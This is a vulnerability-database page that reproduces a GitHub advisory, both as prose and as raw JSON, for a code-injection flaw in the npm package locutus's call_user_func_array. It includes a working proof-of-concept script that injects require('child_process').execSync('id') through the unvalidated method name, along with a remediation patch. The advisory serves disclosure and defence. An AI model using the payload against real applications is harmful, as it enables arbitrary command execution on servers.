GHSA-FP25-P6MJ-QQG6

Vulnerability from github – Published: 2026-03-04 20:19 – Updated: 2026-03-06 22:44
VLAI?
Summary
locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection
Details

Details

A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().


Technical Details

The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).

The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (cb[0].match(validJSFunctionNamePattern)) {
  // biome-ignore lint/security/noGlobalEval: needed for PHP port
  func = eval(cb[0] + "['" + cb[1] + "']")
}

PoC

This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.

const path = require("path");
const fs = require("fs");

const vulnFilePath = path.resolve(
  __dirname,
  "./src/php/funchand/call_user_func_array.js"
);

if (!fs.existsSync(vulnFilePath)) {
  console.error("error target file not found");
  process.exit(1);
}

console.log("loading target");
const call_user_func_array = require(vulnFilePath);

const payload = "']; require('child_process').execSync('id').toString().trim(); //";

console.log("payload set");

try {
  console.log("run");
  call_user_func_array(["Date", payload], []);
  console.log("fail no error");
} catch (e) {
  const msg = e.message;
  if (msg && msg.includes("uid=")) {
    console.log("pwn");
    const proof = msg.split(" is not a valid function")[0];
    console.log("out " + proof);
  } else {
    console.error("fail unexpected");
    console.error(msg);
    process.exit(1);
  }
}

Impact

If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.

This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.

Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.


Remediation

Update the loop to capture the value correctly or use the index to reference the slice directly.

// src/php/funchand/call_user_func_array.js (Lines 31-35)

if (typeof cb[0] === "string") {
  if (cb[0].match(validJSFunctionNamePattern)) {
    // biome-ignore lint/security/noGlobalEval: needed for PHP port
    // func = eval(cb[0] + "['" + cb[1] + "']");
    var obj = null;
    try {
      obj = eval(cb[0]);
    } catch (e) {}
    if (obj && typeof obj[cb[1]] === "function") {
      func = obj[cb[1]];
    }
  }
} else {
  func = cb[0][cb[1]];
}
return func.apply(null, parameters);

And maybe after a better remediations is refactor call_user_func_array to resolve global objects using global[cb[0]] or window[cb[0]].


Resources

https://cwe.mitre.org/data/definitions/95.html

https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!


Author: Tomas Illuminati

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.39"
      },
      "package": {
        "ecosystem": "npm",
        "name": "locutus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:19:55Z",
    "nvd_published_at": "2026-03-06T18:16:20Z",
    "severity": "HIGH"
  },
  "details": "### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application\u0027s runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP\u0027s dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"[\u0027\" + cb[1] + \"\u0027]\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n  // biome-ignore lint/security/noGlobalEval: needed for PHP port\n  func = eval(cb[0] + \"[\u0027\" + cb[1] + \"\u0027]\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n  __dirname,\n  \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n  console.error(\"error target file not found\");\n  process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"\u0027]; require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n  console.log(\"run\");\n  call_user_func_array([\"Date\", payload], []);\n  console.log(\"fail no error\");\n} catch (e) {\n  const msg = e.message;\n  if (msg \u0026\u0026 msg.includes(\"uid=\")) {\n    console.log(\"pwn\");\n    const proof = msg.split(\" is not a valid function\")[0];\n    console.log(\"out \" + proof);\n  } else {\n    console.error(\"fail unexpected\");\n    console.error(msg);\n    process.exit(1);\n  }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library\u0027s own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n  if (cb[0].match(validJSFunctionNamePattern)) {\n    // biome-ignore lint/security/noGlobalEval: needed for PHP port\n    // func = eval(cb[0] + \"[\u0027\" + cb[1] + \"\u0027]\");\n    var obj = null;\n    try {\n      obj = eval(cb[0]);\n    } catch (e) {}\n    if (obj \u0026\u0026 typeof obj[cb[1]] === \"function\") {\n      func = obj[cb[1]];\n    }\n  }\n} else {\n  func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati",
  "id": "GHSA-fp25-p6mj-qqg6",
  "modified": "2026-03-06T22:44:25Z",
  "published": "2026-03-04T20:19:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29091"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/locutusjs/locutus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…